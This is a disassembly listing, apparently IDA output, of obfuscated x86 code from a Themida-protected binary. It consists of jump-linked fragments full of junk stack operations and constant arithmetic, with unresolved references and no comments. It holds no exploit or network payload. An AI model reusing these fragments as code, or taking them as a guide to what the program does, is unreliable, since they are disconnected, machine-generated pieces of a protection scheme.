loc_592ADE: ; DATA XREF: Themida_:0058B200o
mov ax, word ptr [esp+28h+var_2A+2]
push ebx
mov ebx, esp
push edx
jmp loc_59285C
; ---------------------------------------------------------------------------
loc_592AEB: ; CODE XREF: sub_59196D-26EEj
pop eax
jmp loc_591873
; ---------------------------------------------------------------------------
loc_592AF1: ; CODE XREF: sub_58D7D7+2968j
xor edx, 58217C5Bh
or edx, 580900CAh
shl edx, 4
jmp loc_59120B
; ---------------------------------------------------------------------------
loc_592B05: ; CODE XREF: sub_59196D+C1Dj
mov eax, 22BD6BDCh
mov ebx, eax
pop eax
shr ebx, 5
jmp loc_58DC37
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+0Ch+var_C]
push edi
push esp
mov edi, [esp+14h+var_16+2]
add esp, 4
push ebx
push edi
mov edi, 4
mov ebx, edi
pop edi
jmp loc_58F8CE
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+14h+var_16+2]
push 3DF7h
mov [esp+18h+var_1A+2], eax
push 7D73h
mov [esp+1Ch+var_1E+2], esp
add [esp+1Ch+var_1E+2], 4
pop eax
push ebp
mov ebp, 4
add eax, 14B1763h
jmp loc_593E12
; ---------------------------------------------------------------------------
loc_592B5C: ; CODE XREF: sub_59196D-2AE1j
mov ax, [esp+0]
sub esp, 4
mov [esp+4+var_4], eax
sub esp, 4
mov [esp+8+var_8], esp
sub esp, 4
mov [esp+0Ch+var_C], esi
mov esi, 4
add [esp+0Ch+var_8], esi
pop esi
mov eax, [esp+8+var_8]
add esp, 4
add eax, 4
push ecx
mov ecx, 2
push edx
mov edx, 6BF749A8h
add eax, edx
pop edx
jmp loc_58C49D
; ---------------------------------------------------------------------------
loc_592BA4: ; CODE XREF: sub_59196D-6139j
pop esi
sub esp, 4
mov [esp+14h+var_16+2], ebp
push edx
mov edx, 7A4772F7h
jmp loc_59384F
; ---------------------------------------------------------------------------
loc_592BB9: ; CODE XREF: sub_59196D+5284j
sub ebx, 74B36A0Fh
jmp loc_5977D3
; ---------------------------------------------------------------------------
loc_592BC4: ; CODE XREF: sub_59196D+47D7j
push [esp+18h+var_16+2]
jmp loc_593AD8
; ---------------------------------------------------------------------------
loc_592BCD: ; CODE XREF: sub_59196D+4083j
pop ebp
jmp loc_591A40
; ---------------------------------------------------------------------------
loc_592BD3: ; CODE XREF: sub_59196D:loc_594F15j
and ebx, 45FF143Ah
jnz loc_58FECD
sub ebx, 60A843AAh
jmp loc_5936DE
; ---------------------------------------------------------------------------
loc_592BEA: ; CODE XREF: sub_59196D+4F5j
mov ebp, [esp+0Ah+var_C+2]
add esp, 4
sub esp, 4
mov [esp+0Ah+var_C+2], eax
mov eax, 4C1761D0h
neg eax
jmp loc_58DF29
; ---------------------------------------------------------------------------
loc_592C05: ; CODE XREF: sub_59196D+4553j
xor [esp+0Ah+var_C+2], eax
xor eax, [esp+0Ah+var_C+2]
pop esp
loc_592C0C: ; CODE XREF: sub_59196D-7DAj
push 7E16h
mov [esp+0Ah+var_C+2], edi
jmp loc_591EDA
; ---------------------------------------------------------------------------
loc_592C19: ; CODE XREF: sub_59196D+2003j
add eax, 36B9EB28h
xor edi, eax
pop eax
jmp loc_5945FC
; ---------------------------------------------------------------------------
loc_592C26: ; CODE XREF: sub_59196D+3D6Bj
sub esp, 4
mov [esp+0Ah+var_C+2], esp
add [esp+0Ah+var_C+2], 4
jmp loc_59785D
; ---------------------------------------------------------------------------
loc_592C38: ; CODE XREF: sub_59196D:loc_58DE16j
; sub_59196D+58DAj
pop ebp
sub esp, 4
jmp loc_590CCB
; ---------------------------------------------------------------------------
loc_592C41: ; CODE XREF: sub_59196D-5BEBj
xor ecx, 6BE52D20h
add ebp, ecx
pop ecx
push ebx
jmp loc_59501C
; ---------------------------------------------------------------------------
loc_592C50: ; CODE XREF: sub_59196D+5E7Cj
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_593EFA
; ---------------------------------------------------------------------------
loc_592C64: ; CODE XREF: sub_59196D+1DE4j
pop edx
add edx, 4
add edx, 4
push edx
jmp loc_58B95E
; ---------------------------------------------------------------------------
loc_592C77: ; CODE XREF: sub_59196D-534Fj
pop eax
push ebp
push [esp+1Ch+var_1A+2]
pop ebp
pop [esp+1Ch+var_1E+2]
pop esp
add esp, 4
movsx ecx, al
push ecx
jmp sub_591000
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+14h+var_16+2]
push esi
jmp loc_58CB43
; ---------------------------------------------------------------------------
loc_592C9B: ; CODE XREF: sub_59196D-CFCj
add edx, 5B1258F4h
add edx, esi
jmp loc_58DAFA
; ---------------------------------------------------------------------------
loc_592CA8: ; CODE XREF: sub_59196D+93Ej
xor esi, 2C7304FDh
sub esi, 1D035B28h
push ebx
jmp loc_594723
; ---------------------------------------------------------------------------
loc_592CBA: ; CODE XREF: sub_59196D:loc_58E9EEj
add eax, 0E120F20Fh
mov ecx, eax
pop eax
mov edi, ecx
jmp loc_5906B1
; ---------------------------------------------------------------------------
loc_592CC9: ; CODE XREF: sub_59196D-1D1Fj
pop ebx
jmp loc_58F336
; ---------------------------------------------------------------------------
loc_592CCF: ; CODE XREF: sub_59196D+2950j
mov edx, 2
jmp loc_598254
; ---------------------------------------------------------------------------
loc_592CD9: ; CODE XREF: sub_59196D-1CB0j
push esi
jmp loc_5901F8
; ---------------------------------------------------------------------------
loc_592CDF: ; CODE XREF: sub_59196D-4087j
; sub_59196D+4988j
pop esp
add edi, 4
add edi, 2
jmp loc_590F33
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+2Eh+var_2E]
sub esp, 4
mov [esp+32h+var_32], eax
jmp loc_596D75
; ---------------------------------------------------------------------------
loc_592CFD: ; CODE XREF: sub_59196D+1FF5j
push edx
mov edx, 57242CA9h
xor ecx, edx
pop edx
jmp loc_591A59
; ---------------------------------------------------------------------------
loc_592D0B: ; CODE XREF: sub_59196D+E82j
; sub_59196D+5BDDj
mov edx, 7DD45C4Fh
jmp loc_5976FB
; ---------------------------------------------------------------------------
loc_592D15: ; CODE XREF: sub_59196D-31D6j
add dh, 21h
xor dh, 0C5h
push ebx
mov bh, dh
mov al, bh
pop ebx
pop edx
xor al, cl
jmp loc_58CCA8
; ---------------------------------------------------------------------------
loc_592D29: ; CODE XREF: sub_59196D-181Cj
add eax, ebp
mov ebp, [esp+20h+var_22+2]
push ebp
jmp loc_58E656
; ---------------------------------------------------------------------------
loc_592D34: ; CODE XREF: sub_58CF35+5j
push ecx
jmp loc_597A68
; ---------------------------------------------------------------------------
loc_592D3A: ; CODE XREF: sub_59196D+4048j
not edi
shr edi, 3
add edi, 144A9465h
sub eax, edi
pop edi
sub eax, ebx
push esi
mov esi, 1E694DD6h
jmp loc_58C808
; ---------------------------------------------------------------------------
loc_592D55: ; DATA XREF: Themida_:0058B0C8o
mov cx, word ptr [esp+28h+var_2A+2]
push 56FEh
mov [esp+2Ch+var_2E+2], ebp
jmp loc_593C05
; ---------------------------------------------------------------------------
loc_592D66: ; CODE XREF: sub_59196D:loc_58EA09j
; sub_59196D+4BDCj
pop esi
dec eax
and eax, 31F3377Eh
add eax, 46A34E1Ch
or eax, 34910B73h
push 658Dh
jmp loc_5931BF
; ---------------------------------------------------------------------------
loc_592D81: ; CODE XREF: sub_59196D-3FA2j
sub esi, 0BBCB5B60h
jmp loc_59112A
; ---------------------------------------------------------------------------
loc_592D8C: ; CODE XREF: sub_59196D+60DAj
add esp, 4
push 3D16h
mov [esp+14h+var_16+2], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+14h+var_16+2]
pop esp
xor eax, ebp
xor ebp, eax
xor eax, ebp
push 1165h
mov [esp+14h+var_16+2], ebx
mov ebx, 1
and eax, ebx
push [esp+14h+var_16+2]
pop ebx
sub esp, 4
mov [esp+18h+var_1A+2], esi
mov esi, esp
push 1333h
mov [esp+1Ch+var_1E+2], eax
mov eax, 3A0773F5h
xor eax, 0C7E7A59h
not eax
jmp loc_58F487
; ---------------------------------------------------------------------------
loc_592DE6: ; CODE XREF: sub_59196D+5B8Bj
add ebx, edx
pop edx
mov dword ptr [ebx], 0
mov ebx, [esp+18h+var_1A+2]
push 2DCBh
mov [esp+1Ch+var_1E+2], esi
mov esi, esp
jmp loc_58FC5B
; ---------------------------------------------------------------------------
loc_592E01: ; CODE XREF: sub_59196D+5E0Dj
; sub_59196D+6C9Bj
xchg edi, [esp+1Ch+var_1E+2]
pop esp
jmp loc_59517A
; ---------------------------------------------------------------------------
loc_592E0A: ; CODE XREF: Themida_:0058E3C6j
push edx
jmp loc_59301C
; ---------------------------------------------------------------------------
loc_592E10: ; CODE XREF: sub_59196D-587Fj
mov ebp, [esp+8+var_8]
add esp, 4
push esi
mov esi, 2
add eax, esi
pop esi
sub esp, 4
mov [esp+8+var_8], eax
push [esp+8+var_4]
mov eax, [esp+0Ch+var_C]
jmp loc_58FDDF
; ---------------------------------------------------------------------------
loc_592E34: ; CODE XREF: sub_59196D+2FE7j
pop edi
xor edi, 2D2B71E3h
pop ebx
mov esi, 0E6734EFBh
sub esi, edi
pop edi
shl esi, 1
jmp loc_5971EE
; ---------------------------------------------------------------------------
loc_592E4B: ; DATA XREF: Themida_:0058B0E0o
mov ax, [esp+0]
jmp sub_591344
; ---------------------------------------------------------------------------
loc_592E54: ; CODE XREF: sub_59196D+44B6j
sub ebp, eax
pop eax
xchg ebp, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
mov [esp-4+arg_0], ebx
add [esp-4+arg_0], 766A0C77h
mov eax, [esp-4+arg_0]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+0]
jmp loc_5984B6
; ---------------------------------------------------------------------------
loc_592E7E: ; CODE XREF: sub_590F7A+9j
inc dword ptr [esp+0]
pop esi
xor esi, 55754E6Eh
push ebp
mov ebp, 76D94DE2h
sub ebp, 31F5E2ACh
add esi, ebp
pop ebp
sub esi, 6D44BA69h
push ebx
mov ebx, esi
mov ecx, ebx
pop ebx
push [esp-4+arg_0]
pop esi
push eax
jmp loc_594B86
; ---------------------------------------------------------------------------
loc_592EAD: ; CODE XREF: sub_59196D-55B3j
; sub_59196D-54B9j
push 1B0Ah
mov [esp+18h+var_1A+2], eax
push eax
mov eax, 18072CB9h
add [esp+1Ch+var_1A+2], eax
pop eax
mov eax, [esp+18h+var_1A+2]
add esp, 4
push esi
push 5F61h
mov [esp+1Ch+var_1E+2], edx
mov edx, esp
jmp loc_5954F1
; ---------------------------------------------------------------------------
loc_592ED6: ; CODE XREF: sub_591344-2DE2j
neg edx
xor edx, 0A152E79Fh
add ebp, 3160611Eh
sub ebp, edx
jmp loc_58D302
; ---------------------------------------------------------------------------
push [esp+1Ch+var_1E+2]
pop eax
push 3E4Dh
mov [esp+20h+var_22+2], esi
mov esi, esp
push edx
jmp loc_58FBDA
; ---------------------------------------------------------------------------
loc_592EFF: ; CODE XREF: sub_59196D+46FFj
add eax, 7381530h
push [esp+24h+var_26+2]
pop ebx
add esp, 4
add eax, 2
jmp loc_58D1C4
; ---------------------------------------------------------------------------
loc_592F15: ; CODE XREF: sub_59196D-15BDj
push ebx
jmp loc_58D7EA
; ---------------------------------------------------------------------------
loc_592F1B: ; CODE XREF: sub_59196D+41E8j
add esp, 4
dec esi
jmp loc_58BEF4
; ---------------------------------------------------------------------------
loc_592F27: ; CODE XREF: sub_59196D+24Fj
push 336E4089h
pop esi
not esi
jmp loc_5928C7
; ---------------------------------------------------------------------------
loc_592F34: ; CODE XREF: sub_59196D+262Bj
push esi
jmp loc_595959
; ---------------------------------------------------------------------------
loc_592F3A: ; CODE XREF: sub_59196D-59Ej
mov esi, 6C727119h
shr esi, 5
and esi, 752D5ED6h
jmp loc_594D6C
; ---------------------------------------------------------------------------
loc_592F4D: ; CODE XREF: sub_59196D+552Aj
xor esi, 2B7B0F78h
js loc_5901A2
push edi
jmp loc_58E33C
; ---------------------------------------------------------------------------
loc_592F5F: ; CODE XREF: sub_59196D-5125j
add edi, 8E84E35Ch
jmp loc_597C2B
; ---------------------------------------------------------------------------
loc_592F6A: ; CODE XREF: sub_59196D-36A9j
xor ebx, eax
mov dx, word ptr [esp+3Eh+var_40+2]
push ecx
jmp loc_58CF87
; ---------------------------------------------------------------------------
loc_592F76: ; CODE XREF: sub_59196D-5DF8j
; sub_59196D+265Fj
pop edx
neg esi
or esi, 35B72A8Eh
push eax
mov eax, 707316DDh
or eax, 7AF2788Fh
add eax, 0CA17FE40h
jmp loc_5977A8
; ---------------------------------------------------------------------------
loc_592F94: ; CODE XREF: sub_59196D-2509j
inc eax
or eax, 2A393560h
jmp loc_58E13A
; ---------------------------------------------------------------------------
loc_592F9F: ; CODE XREF: sub_59196D+4AE1j
mov esp, [esp+2+var_4+2]
mov cx, word ptr [esp+2+var_4+2]
jmp loc_58C829
; ---------------------------------------------------------------------------
loc_592FAB: ; CODE XREF: sub_58C3EF+3CA9j
xor edi, 538776FFh
neg edi
xor edi, 4555013Ah
sub edi, 15AC90B1h
sub ebx, edi
mov edi, [esp+2+var_4+2]
add esp, 4
jmp loc_58BD34
; ---------------------------------------------------------------------------
loc_592FCC: ; CODE XREF: sub_59196D+4859j
add dh, 0EFh
not dh
add dh, 0FDh
sub al, 0Ah
add al, dh
add al, 0Ah
pop edx
pop edx
push ecx
push ebx
mov bh, 46h
shl bh, 1
xor bh, 3Fh
jmp loc_58B421
; ---------------------------------------------------------------------------
loc_592FEA: ; CODE XREF: sub_59196D-3DDEj
push 54110F11h
pop ebx
and ebx, 7B7B5567h
xor ebx, 32861A84h
mov ebp, ebx
jmp loc_591E4F
; ---------------------------------------------------------------------------
loc_593003: ; CODE XREF: sub_59196D-E95j
mov [esp+10h+var_12+2], ecx
mov ecx, 765664F1h
xor ecx, 765664F5h
add esi, ecx
pop ecx
xchg esi, [esp+0Ch+var_C]
jmp loc_58E23F
; ---------------------------------------------------------------------------
loc_59301C: ; CODE XREF: sub_59196D+149Ej
mov dh, 0D1h
xor dh, 0F0h
add al, dh
pop edx
push ecx
jmp loc_595ED5
; ---------------------------------------------------------------------------
loc_59302A: ; CODE XREF: sub_59196D-589Cj
mov ah, 3Bh
push bx
mov bh, 4
add ch, bh
pop bx
add ch, ah
sub ch, 4
pop eax
add al, ch
pop ecx
sub bl, 0Eh
sub bl, 93h
add bl, 0D7h
add bl, al
push eax
mov ah, 8Ah
sub ah, 95h
and ah, 0E1h
not ah
jmp loc_58FCB0
; ---------------------------------------------------------------------------
loc_593058: ; CODE XREF: sub_59196D+1F8Dj
add edi, 4
add edi, 4
xchg edi, [esp+4+var_4]
jmp loc_596DB0
; ---------------------------------------------------------------------------
loc_593069: ; CODE XREF: sub_59196D-65A7j
pop esp
jmp loc_5944F4
; ---------------------------------------------------------------------------
loc_59306F: ; CODE XREF: sub_59196D-1B30j
push 758Bh
mov [esp+18h+var_1A+2], edx
mov edx, esp
sub esp, 4
jmp loc_58D714
; ---------------------------------------------------------------------------
loc_593081: ; CODE XREF: sub_59196D-256Ej
pop ecx
add ebp, 2
xor ebp, [esp-0Eh+arg_8+2]
jmp loc_58DDC2
; ---------------------------------------------------------------------------
loc_593090: ; CODE XREF: Themida_:0058D687j
push edi
jmp loc_59705B
; ---------------------------------------------------------------------------
loc_593096: ; CODE XREF: sub_59196D-31BDj
push esi
push [esp+14h+var_12+2]
push [esp+18h+var_1A+2]
pop esi
sub esp, 4
mov [esp+1Ch+var_1E+2], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+1Ch+var_1E+2]
pop esp
pop [esp+18h+var_1A+2]
pop esp
xor byte ptr [esp+10h+var_12+2], al
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5930C1: ; CODE XREF: sub_5917FA-2D89j
dec bh
and bh, 0C4h
shl bh, 3
dec bh
push dx
mov dl, 63h
jmp loc_58D393
; ---------------------------------------------------------------------------
loc_5930D4: ; CODE XREF: sub_59196D-3AA7j
pop esp
loc_5930D5: ; CODE XREF: sub_59196D-1791j
push 63F6h
jmp loc_591BA7
; ---------------------------------------------------------------------------
loc_5930DF: ; CODE XREF: sub_59196D+1F1Fj
not ecx
xor [esp+34h+var_36+2], ecx
xor ecx, [esp+34h+var_36+2]
xor [esp+34h+var_36+2], ecx
mov ebp, [esp+34h+var_36+2]
add esp, 4
push eax
push ebp
pop eax
mov ebp, [esp+34h+var_36+2]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+0]
pop esp
push 503Bh
mov [esp+0], ecx
push 79A3h
mov [esp+3Ch+var_3C], edi
push ebx
mov ebx, 2607428Ch
shl ebx, 2
jmp loc_595330
; ---------------------------------------------------------------------------
loc_593127: ; CODE XREF: sub_59196D-F5Ej
mov edx, 7A449C6h
push edx
not [esp+14h+var_16+2]
jmp loc_5910E9
; ---------------------------------------------------------------------------
loc_593135: ; CODE XREF: sub_59196D-3510j
xchg edi, [esp+40h+var_40]
pop esp
sub ecx, edx
pop edx
xchg ecx, [esp+0]
pop esp
jmp loc_58EB56
; ---------------------------------------------------------------------------
loc_593145: ; CODE XREF: sub_59196D-487j
push 7311h
mov [esp+12h+var_12], ebx
push 2B8h
mov [esp+16h+var_16], edx
mov dh, 7Fh
mov bl, dh
mov edx, [esp+16h+var_16]
add esp, 4
push edx
mov dh, bl
mov ch, dh
pop edx
push [esp+12h+var_12]
mov ebx, [esp+16h+var_16]
add esp, 4
add esp, 4
add al, 40h
add al, ch
jmp loc_590AEA
; ---------------------------------------------------------------------------
loc_593180: ; CODE XREF: sub_59196D+631Dj
pop edx
pop ebx
add al, 70h
jmp loc_590D54
; ---------------------------------------------------------------------------
loc_593189: ; CODE XREF: Themida_:0058FDABj
or ecx, 520B68F3h
shr ecx, 1
sub ecx, 397FB677h
add eax, ecx
jmp loc_58D1BB
; ---------------------------------------------------------------------------
loc_59319E: ; CODE XREF: sub_59196D+5D89j
xor [esp+6+var_8+2], ebx
xor ebx, [esp+6+var_8+2]
pop esp
rol word ptr [esp+2+var_4+2], cl
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5931AF: ; CODE XREF: sub_59196D+6060j
add eax, edi
jmp loc_593998
; ---------------------------------------------------------------------------
loc_5931B6: ; CODE XREF: sub_59196D-5A34j
neg edi
not edi
jmp loc_59040F
; ---------------------------------------------------------------------------
loc_5931BF: ; CODE XREF: sub_59196D+140Fj
mov [esp+1Ch+var_1E+2], ebp
mov ebp, 3DEE0C06h
or eax, ebp
pop ebp
push ebx
jmp loc_598217
; ---------------------------------------------------------------------------
loc_5931D0: ; CODE XREF: sub_59196D:loc_594B2Aj
shl ebp, 6
jns loc_58E367
jmp loc_595808
; ---------------------------------------------------------------------------
loc_5931DE: ; CODE XREF: sub_58B85F+5079j
add edi, esi
push [esp+1Ch+var_1E+2]
pop esi
add esp, 4
jmp loc_58CF67
; ---------------------------------------------------------------------------
loc_5931EF: ; CODE XREF: sub_59196D+11Fj
mov edx, 0
push edi
mov edi, edx
jmp loc_595CBA
; ---------------------------------------------------------------------------
loc_5931FC: ; CODE XREF: sub_59196D-20B3j
push edx
jmp loc_595F82
; ---------------------------------------------------------------------------
loc_593202: ; CODE XREF: sub_59196D-2A79j
pop edi
push eax
push 580C573Bh
pop eax
add eax, 24F12760h
xor edx, eax
pop eax
sub edx, 7ED97A3Eh
add edx, edi
add edx, 7ED97A3Eh
push ebx
jmp loc_58E10D
; ---------------------------------------------------------------------------
loc_593226: ; CODE XREF: sub_59196D+43F4j
xchg ebp, edx
not ebp
xchg ebp, edx
add edx, 14D6824h
jmp loc_59228E
; ---------------------------------------------------------------------------
loc_593237: ; CODE XREF: sub_59196D-5A76j
push esi
inc [esp+18h+var_1A+2]
pop esi
add esi, 0FFFFFFFFh
push ebp
mov ebp, 984ECAEAh
sub esi, ebp
pop ebp
jmp loc_58D12F
; ---------------------------------------------------------------------------
loc_593250: ; CODE XREF: sub_59196D+33D9j
push ebx
jmp loc_596F3A
; ---------------------------------------------------------------------------
loc_593256: ; CODE XREF: sub_59196D-123Fj
add dword ptr [edi+20h], 10A44600h
sub esp, 4
jmp loc_591C8C
; ---------------------------------------------------------------------------
loc_593268: ; CODE XREF: sub_59196D+6BCBj
and cl, 8Fh
dec cl
jmp loc_58CD3F
; ---------------------------------------------------------------------------
loc_593272: ; CODE XREF: sub_59196D-5F41j
xchg edx, [esp+20h+var_22+2]
pop esp
push edi
mov edi, esp
add edi, 4
add edi, 4
push 3F69h
jmp loc_58DE97
; ---------------------------------------------------------------------------
loc_59328F: ; CODE XREF: sub_59196D-2972j
sub eax, 663953F0h
push esi
mov esi, 149B465Eh
sub eax, esi
pop esi
sub esp, 4
mov [esp-10h+arg_C], edx
push esi
jmp loc_58B438
; ---------------------------------------------------------------------------
loc_5932AC: ; CODE XREF: sub_58ED05+20j
; sub_59196D+1C2Ej
add ebx, esi
pop esi
xchg ebx, [esp-10h+arg_C]
pop esp
add edi, 2
xchg edi, [esp-14h+arg_10]
jmp loc_58CE86
; ---------------------------------------------------------------------------
loc_5932BE: ; CODE XREF: sub_59196D-3BB0j
not edi
add edi, 96FF9EE7h
add edx, edi
pop edi
push ebx
mov ebx, 4
jmp loc_58E1F4
; ---------------------------------------------------------------------------
loc_5932D4: ; CODE XREF: sub_59196D+5598j
inc al
jmp loc_5943E1
; ---------------------------------------------------------------------------
loc_5932DB: ; CODE XREF: sub_59196D-39F5j
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5932E0: ; CODE XREF: sub_59196D-FA2j
; sub_59196D+408Aj
mov edx, [esp+12h+var_12]
jmp loc_593A24
; ---------------------------------------------------------------------------
loc_5932E8: ; CODE XREF: sub_591526+Ej
or eax, 5E2C7108h
jmp loc_5926B0
; ---------------------------------------------------------------------------
loc_5932F2: ; CODE XREF: sub_59196D:loc_58F2C8j
inc edx
jl loc_58D2FD
jmp loc_58F780
; ---------------------------------------------------------------------------
push edi
mov ebp, esi
mov ch, cl
loc_593303: ; CODE XREF: sub_59196D+3214j
add eax, 0C140B406h
push edx
mov edx, 239398Bh
add esi, edx
pop edx
add esi, eax
jmp loc_58C681
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl [esp+2Ah+var_2A], cl
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_593327: ; CODE XREF: Themida_:0058CDE7j
push esi
push 4
pop esi
add eax, esi
pop esi
add eax, 4
xchg eax, [esp+2Eh+var_2E]
pop esp
push ebx
push 2971h
mov [esp+32h+var_32], esp
add [esp+32h+var_32], 4
mov ebx, [esp+32h+var_32]
add esp, 4
push eax
mov eax, 4
add ebx, eax
jmp loc_58E98A
; ---------------------------------------------------------------------------
loc_59335B: ; CODE XREF: sub_59196D-1F08j
add esp, 4
jmp sub_58B85F
; ---------------------------------------------------------------------------
loc_593366: ; CODE XREF: Themida_:0059189Aj
push esp
pop ebx
add ebx, 4
push 22B0h
jmp loc_5903AC
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+52h+var_54+2]
push 0F8Ah
mov [esp+0], eax
jmp loc_5939FD
; ---------------------------------------------------------------------------
loc_593389: ; CODE XREF: sub_59196D+2506j
push 617h
jmp loc_58C9EE
; ---------------------------------------------------------------------------
loc_593393: ; CODE XREF: sub_59196D-580Fj
mov ebp, [esp+0Ch+var_C]
add esp, 4
or eax, eax
jz loc_58D266
push 3F38h
mov [esp+0Ch+var_C], edx
jmp loc_598559
; ---------------------------------------------------------------------------
loc_5933B1: ; CODE XREF: sub_59196D-17BAj
jmp loc_596305
; ---------------------------------------------------------------------------
loc_5933B6: ; CODE XREF: sub_59196D-6170j
pop edi
jmp loc_594172
; ---------------------------------------------------------------------------
loc_5933BC: ; CODE XREF: sub_59196D-3B13j
; sub_59196D+10ABj
add eax, 4
push 2F30h
mov [esp+1Ch+var_1E+2], edx
jmp loc_596C84
; ---------------------------------------------------------------------------
loc_5933CE: ; CODE XREF: sub_59196D+288j
; sub_59196D+5614j
mov [esp+1Ch+var_1E+2], ecx
jmp loc_596366
; ---------------------------------------------------------------------------
loc_5933D6: ; CODE XREF: sub_59196D-1E1Dj
xchg ebp, [esp+12h+var_12]
pop esp
mov [esp+0], esp
add dword ptr [esp+0], 4
jmp loc_5947F1
; ---------------------------------------------------------------------------
loc_5933E6: ; CODE XREF: sub_59196D+540Fj
mov [esp], ebx
push edi
jmp loc_591C72
; ---------------------------------------------------------------------------
loc_5933EF: ; CODE XREF: sub_59196D+6AA8j
dec ebx
push ecx
mov ecx, 77217927h
jmp loc_591791
; ---------------------------------------------------------------------------
loc_5933FB: ; CODE XREF: sub_59196D+5FE0j
pop edi
jmp loc_5907A6
; ---------------------------------------------------------------------------
loc_593401: ; CODE XREF: sub_59196D-55AAj
xchg ecx, [esp+10h+var_12+2]
pop esp
shr word ptr [esp+0Ch+var_C], cl
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_59340F: ; CODE XREF: sub_59196D+5CDCj
mov [esp+10h+var_12+2], esp
jmp loc_58C0D6
; ---------------------------------------------------------------------------
loc_593417: ; CODE XREF: sub_59196D-2FCCj
push [esp+20h+var_22+2]
pop ecx
sub esp, 4
jmp loc_58FAA7
; ---------------------------------------------------------------------------
loc_593426: ; CODE XREF: sub_59196D+294j
add [esp+14h+var_12+2], 46395B4Ch
add [esp+14h+var_12+2], ebp
sub [esp+14h+var_12+2], 46395B4Ch
pop ebp
mov esi, [esp+10h+var_12+2]
push 592Ah
mov [esp+14h+var_16+2], edx
mov edx, esp
jmp loc_5935B5
; ---------------------------------------------------------------------------
loc_59344D: ; CODE XREF: sub_59196D+2F3Ej
neg ebx
jle loc_58BDC3
inc ebx
add ebx, 195A1E3Bh
jmp loc_59752F
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+14h+var_16+2]
sub esp, 4
jmp loc_58B830
; ---------------------------------------------------------------------------
loc_593470: ; CODE XREF: sub_59196D-32BBj
pop ebx
push esi
mov esi, edi
push esi
add [esp+4Eh+var_4E], 1B715271h
pop ecx
push ebp
jmp loc_58F7BD
; ---------------------------------------------------------------------------
loc_593483: ; CODE XREF: sub_59196D+51ACj
pop esi
jmp loc_590F69
; ---------------------------------------------------------------------------
loc_593489: ; CODE XREF: sub_59196D-2B77j
push [esp+24h+var_22+2]
pop eax
pop [esp+24h+var_26+2]
mov esp, [esp+20h+var_22+2]
push [esp+20h+var_22+2]
mov ecx, [esp+24h+var_26+2]
add esp, 4
push ebx
mov ebx, esp
push eax
mov eax, 4
add ebx, eax
pop eax
push esi
push edi
mov edi, 3F6D7112h
mov esi, 3134091Fh
jmp loc_591C46
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+2Ch+var_2E+2]
jmp sub_59843D
; ---------------------------------------------------------------------------
loc_5934C6: ; CODE XREF: sub_59196D+2D4j
push [esp+14h+var_12+2]
jmp loc_58C516
; ---------------------------------------------------------------------------
loc_5934CF: ; CODE XREF: sub_59196D+6A13j
push edi
mov edi, 5BED5BA4h
sub ecx, 252F4F46h
sub ecx, edi
add ecx, 252F4F46h
pop edi
sub ecx, 9C030802h
sub edi, ecx
pop ecx
sub ebx, edi
pop edi
and eax, ebx
pop ebx
shr eax, 0Ah
xor eax, ecx
push 35E1h
mov [esp+10h+var_12+2], eax
xor [esp+10h+var_12+2], esi
jmp loc_591C1F
; ---------------------------------------------------------------------------
loc_593508: ; CODE XREF: sub_59196D+560Ej
; sub_59196D+6494j
jmp loc_5922C9
; ---------------------------------------------------------------------------
loc_59350D: ; CODE XREF: sub_59196D-53DCj
; sub_59196D-5332j
add esp, 4
mov edx, [esp+0]
add esp, 4
jmp loc_58BCB5
; ---------------------------------------------------------------------------
loc_59351E: ; CODE XREF: sub_59196D+652j
add cl, 0FCh
add al, cl
mov ecx, [esp+1Ch+var_1E+2]
add esp, 4
sub al, cl
push ebx
push edx
mov dl, 60h
mov bh, dl
mov edx, [esp+20h+var_22+2]
add esp, 4
xor bh, 98h
jmp loc_593DF6
; ---------------------------------------------------------------------------
loc_593545: ; CODE XREF: sub_59196D+4DFDj
add eax, 2
jmp loc_5919EF
; ---------------------------------------------------------------------------
loc_59354D: ; CODE XREF: sub_59196D-26AAj
pop [esp+28h+var_2A+2]
jmp loc_591C6A
; ---------------------------------------------------------------------------
loc_593555: ; CODE XREF: sub_59196D+4E16j
sub esp, 4
jmp loc_596E20
; ---------------------------------------------------------------------------
loc_59355D: ; CODE XREF: sub_59196D+597j
push esi
jmp loc_591A35
; ---------------------------------------------------------------------------
loc_593563: ; DATA XREF: Themida_:0058B19Co
pop small word ptr [edx]
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_59356B: ; CODE XREF: sub_59196D+4Ej
xchg edi, [esp+2Eh+var_2E]
pop esp
mov [esp+2Ah+var_2A], ebx
push [esp+2Ah+var_2A]
pop eax
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+2Eh+var_2E]
pop esp
push 3CFCh
jmp loc_597F0C
; ---------------------------------------------------------------------------
loc_593590: ; CODE XREF: sub_59196D+40B4j
pop ebp
jmp loc_58C76F
; ---------------------------------------------------------------------------
loc_593596: ; CODE XREF: sub_59196D+64A0j
mov esi, 4
jmp loc_5932AC
; ---------------------------------------------------------------------------
loc_5935A0: ; CODE XREF: sub_59196D+67D0j
mov ecx, 37D04061h
jmp loc_58DCA4
; ---------------------------------------------------------------------------
loc_5935AA: ; CODE XREF: sub_59196D+37j
sub esp, 2
jmp loc_59558D
; ---------------------------------------------------------------------------
loc_5935B5: ; CODE XREF: sub_59196D+1ADBj
add edx, 4
jmp loc_58CBC6
; ---------------------------------------------------------------------------
loc_5935C0: ; CODE XREF: sub_59196D-18A8j
add dl, 0C3h
and ch, dl
jmp loc_593AA8
